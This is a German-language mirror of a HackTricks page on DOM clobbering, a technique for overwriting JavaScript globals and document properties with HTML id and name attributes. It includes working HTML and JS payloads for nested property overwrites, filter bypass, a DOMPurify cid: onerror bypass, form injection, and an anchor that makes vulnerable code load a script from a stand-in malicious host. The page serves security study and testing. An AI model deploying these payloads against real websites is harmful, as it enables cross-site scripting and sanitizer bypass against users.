mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
220 lines
11 KiB
Markdown
220 lines
11 KiB
Markdown
# Dom Clobbering
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Grundlagen**
|
||
|
||
Es ist möglich, **globale Variablen im JS-Kontext** mit den Attributen **`id`** und **`name`** in HTML-Tags zu generieren.
|
||
```html
|
||
<form id="x"></form>
|
||
<script>
|
||
console.log(typeof document.x) //[object HTMLFormElement]
|
||
</script>
|
||
```
|
||
**Nur** bestimmte Elemente können das **name-Attribut** verwenden, um Globals zu clobbern, und zwar: `embed`, `form`, `iframe`, `image`, `img` und `object`.
|
||
|
||
Interessanterweise, wenn Sie ein **Formular-Element** verwenden, um eine Variable zu **clobbern**, erhalten Sie den **`toString`**-Wert des Elements selbst: `[object HTMLFormElement]`, aber bei **Anker** wird der **`toString`** der Anker **`href`** sein. Daher können Sie, wenn Sie mit dem **`a`**-Tag clobbern, den **Wert** steuern, wenn er **als String** behandelt wird:
|
||
```html
|
||
<a href="controlled string" id="x"></a>
|
||
<script>
|
||
console.log(x) //controlled string
|
||
</script>
|
||
```
|
||
### Arrays & Attribute
|
||
|
||
Es ist auch möglich, **ein Array** und **Objektattribute** zu **überschreiben**:
|
||
```html
|
||
<a id="x">
|
||
<a id="x" name="y" href="controlled">
|
||
<script>
|
||
console.log(x[1]) //controlled
|
||
console.log(x.y) //controlled
|
||
</script></a
|
||
></a
|
||
>
|
||
```
|
||
Um **ein 3. Attribut** (z.B. x.y.z) zu überschreiben, müssen Sie ein **`form`** verwenden:
|
||
```html
|
||
<form id="x" name="y"><input id="z" value="controlled" /></form>
|
||
<form id="x"></form>
|
||
<script>
|
||
alert(x.y.z.value) //controlled
|
||
</script>
|
||
```
|
||
Das Überschreiben weiterer Attribute ist **komplizierter, aber dennoch möglich**, indem man iframes verwendet:
|
||
```html
|
||
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(x.y) //controlled
|
||
</script>
|
||
```
|
||
> [!WARNING]
|
||
> Das style-Tag wird verwendet, um **genug Zeit für das Rendern des iframes zu geben**. Ohne es wirst du eine Warnung von **undefined** finden.
|
||
|
||
Um tiefere Attribute zu überschreiben, kannst du **iframes mit HTML-Codierung** auf diese Weise verwenden:
|
||
```html
|
||
<iframe
|
||
name="a"
|
||
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(a.b.c.d.e) //controlled
|
||
</script>
|
||
```
|
||
### **Filterumgehung**
|
||
|
||
Wenn ein Filter durch die Eigenschaften eines Knotens mit etwas wie `document.getElementByID('x').attributes` **schleift**, könntest du das Attribut **`.attributes`** **überschreiben** und den Filter **brechen**. Andere DOM-Eigenschaften wie **`tagName`**, **`nodeName`** oder **`parentNode`** und mehr sind ebenfalls **überschreibbar**.
|
||
```html
|
||
<form id="x"></form>
|
||
<form id="y">
|
||
<input name="nodeName" />
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById("x").nodeName) //FORM
|
||
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
In JavaScript ist es üblich, Folgendes zu finden:
|
||
```javascript
|
||
var someObject = window.someObject || {}
|
||
```
|
||
Das Manipulieren von HTML auf der Seite ermöglicht es, `someObject` mit einem DOM-Knoten zu überschreiben, was potenziell Sicherheitsanfälligkeiten einführen kann. Zum Beispiel können Sie `someObject` durch ein Ankerelement ersetzen, das auf ein bösartiges Skript verweist:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
In einem anfälligen Code wie:
|
||
```html
|
||
<script>
|
||
window.onload = function () {
|
||
let someObject = window.someObject || {}
|
||
let script = document.createElement("script")
|
||
script.src = someObject.url
|
||
document.body.appendChild(script)
|
||
}
|
||
</script>
|
||
```
|
||
Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.
|
||
|
||
**Trick**: **`DOMPurify`** erlaubt die Verwendung des **`cid:`**-Protokolls, das **doppelte Anführungszeichen nicht URL-kodiert**. Das bedeutet, dass Sie **ein kodiertes doppeltes Anführungszeichen injizieren können, das zur Laufzeit dekodiert wird**. Daher wird das Injizieren von etwas wie **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** dazu führen, dass das HTML-kodierte `"` zur **Laufzeit dekodiert** wird und **aus dem Attributwert entkommt**, um das **`onerror`**-Ereignis zu **erzeugen**.
|
||
|
||
Eine andere Technik verwendet ein **`form`**-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formularelements, um sie zu bereinigen. Durch das Hinzufügen eines `input` mit `id=attributes` innerhalb des Formulars überschreiben Sie jedoch effektiv die Eigenschaften der Attribute, wodurch der Sanitizer daran gehindert wird, auf die tatsächlichen Attribute zuzugreifen.
|
||
|
||
Sie können [**ein Beispiel für diese Art von Clobbering in diesem CTF-Bericht finden**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering des Dokumentobjekts
|
||
|
||
Laut der Dokumentation ist es möglich, Attribute des Dokumentobjekts mithilfe von DOM Clobbering zu überschreiben:
|
||
|
||
> Die [Document](https://html.spec.whatwg.org/multipage/dom.html#document) Schnittstelle [unterstützt benannte Eigenschaften](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [unterstützten Eigenschaftsnamen](https://webidl.spec.whatwg.org/#dfn-supported-property-names) eines [Document](https://html.spec.whatwg.org/multipage/dom.html#document) Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in [Baumreihenfolge](https://dom.spec.whatwg.org/#concept-tree-order) entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Attributen vor Werten von Namensattributen kommen, wenn dasselbe Element beide beiträgt:
|
||
>
|
||
> \- Der Wert des Namensinhaltsattributs für alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) und [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) Elemente, die ein nicht leeres Namensinhaltattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
|
||
> \
|
||
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattributs für alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) Elemente, die ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
|
||
> \
|
||
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattributs für alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) Elemente, die sowohl ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattribut als auch ein nicht leeres Namensinhaltattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden.
|
||
|
||
Mit dieser Technik können Sie häufig verwendete **Werte wie `document.cookie`, `document.body`, `document.children`** und sogar Methoden in der Document-Schnittstelle wie `document.querySelector` überschreiben.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Schreiben nach dem Element, das überschrieben wurde
|
||
|
||
Die Ergebnisse von Aufrufen von **`document.getElementById()`** und **`document.querySelector()`** können verändert werden, indem ein `<html>`- oder `<body>`-Tag mit einem identischen id-Attribut injiziert wird. So kann es gemacht werden:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">
|
||
clobbered
|
||
</html>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
alert(document.querySelector(".x").innerText) // Clobbered
|
||
</script>
|
||
</p>
|
||
```
|
||
Darüber hinaus kann durch den Einsatz von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im `innerText` verhindert werden, wodurch die Wirksamkeit des Angriffs erhöht wird:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
<style>
|
||
p {
|
||
display: none;
|
||
}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Untersuchungen zu SVG haben ergeben, dass ein `<body>`-Tag ebenfalls effektiv genutzt werden kann:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<body id="cdnDomain">
|
||
clobbered
|
||
</body>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Um das HTML-Tag innerhalb von SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein `<foreignobject>`-Tag erforderlich:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
Es ist möglich, **neue Einträge in ein Formular hinzuzufügen**, indem man einfach das **`form`-Attribut** in einigen Tags angibt. Man kann dies verwenden, um **neue Werte in ein Formular hinzuzufügen** und sogar einen neuen **Button** hinzuzufügen, um ihn **zu senden** (Clickjacking oder Missbrauch von etwas `.click()` JS-Code):
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form="id-other-form" name="info">
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
- Für weitere Formattribute in [**Button überprüfen Sie dies**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||
|
||
## Referenzen
|
||
|
||
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
- Heyes, Gareth. JavaScript für Hacker: Lernen Sie, wie ein Hacker zu denken.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|